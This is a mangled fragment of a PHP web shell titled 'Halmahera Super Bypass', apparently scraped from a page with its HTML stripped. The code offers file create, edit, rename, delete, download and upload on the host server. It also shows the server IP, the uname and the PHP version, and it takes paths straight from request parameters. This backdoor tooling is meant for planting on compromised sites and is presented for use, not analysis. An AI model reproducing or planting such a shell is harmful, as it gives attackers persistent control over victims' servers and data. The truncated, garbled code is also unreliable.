Halmahera Super Bypass

= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size,2).' '.$units[$i]; } // --- ACTIONS --- $msg = ''; // CREATE FOLDER if (isset($_POST['create_folder'])) { $name = basename($_POST['create_folder']); if ($name && @mkdir($path . '/' . $name)) $msg = "Folder created!"; else $msg = "Failed to create folder!"; } // CREATE FILE if (isset($_POST['create_file'])) { $name = basename($_POST['create_file']); if ($name && @file_put_contents($path . '/' . $name, $_POST['file_content'])) $msg = "File created!"; else $msg = "Failed to create file!"; } // RENAME if (isset($_POST['rename']) && isset($_GET['item'])) { $newname = basename($_POST['rename']); $old = $path . '/' . $_GET['item']; $new = $path . '/' . $newname; if (@rename($old, $new)) $msg = "Renamed!"; else $msg = "Rename failed!"; unset($_GET['rename'], $_GET['item']); header("Location: ?dir=" . urlencode($path)); exit; } // EDIT if (isset($_POST['edit']) && isset($_GET['item'])) { $file = $path . '/' . $_GET['item']; if (@file_put_contents($file, $_POST['edit'])) $msg = "File edited!"; else $msg = "Edit failed!"; unset($_GET['edit'], $_GET['item']); header("Location: ?dir=" . urlencode($path)); exit; } // DELETE if (isset($_GET['delete'])) { $target = $path . '/' . $_GET['delete']; if (is_file($target)) { @unlink($target); $msg = "File deleted!"; } elseif (is_dir($target)) { @rmdir($target); $msg = "Folder deleted!"; } unset($_GET['delete']); header("Location: ?dir=" . urlencode($path)); exit; } // DOWNLOAD if (isset($_GET['download'])) { $file = $path . '/' . $_GET['download']; if (is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // --- DIR LIST --- $files = @scandir($path); $dirs = []; $only_files = []; if ($files) { foreach ($files as $item) { if ($item == '.') continue; $full = $path . '/' . $item; if (is_dir($full)) $dirs[] = $item; elseif (is_file($full)) $only_files[] = $item; } sort($dirs, SORT_NATURAL | SORT_FLAG_CASE); sort($only_files, SORT_NATURAL | SORT_FLAG_CASE); } // --- HTML --- ?> File Shell White
Edit: ' . htmlspecialchars($_GET['item']) . '
'; } } // RENAME if (isset($_GET['rename']) && isset($_GET['item'])) { echo '
Rename: ' . htmlspecialchars($_GET['item']) . '
'; } ?>
Server IP   ()
PHP Uname
Versi PHP
Lokasi
File uploaded!'; } else { echo '
Upload failed!
'; } } ?> '; } foreach ($dirs as $item) { $full = $path . '/' . $item; echo ''; echo ''; } // Lalu file foreach ($only_files as $item) { $full = $path . '/' . $item; echo ''; echo ''; } ?>
Name Type Size Perms Actions
< .. DIR---
' . htmlspecialchars($item) . 'DIR-' . perms($full) . ''; echo 'Rename '; echo 'Delete'; echo '
' . htmlspecialchars($item) . 'FILE' . filesize_h($full) . '' . perms($full) . ''; echo 'Download '; echo 'Edit '; echo 'Rename '; echo 'Delete'; echo '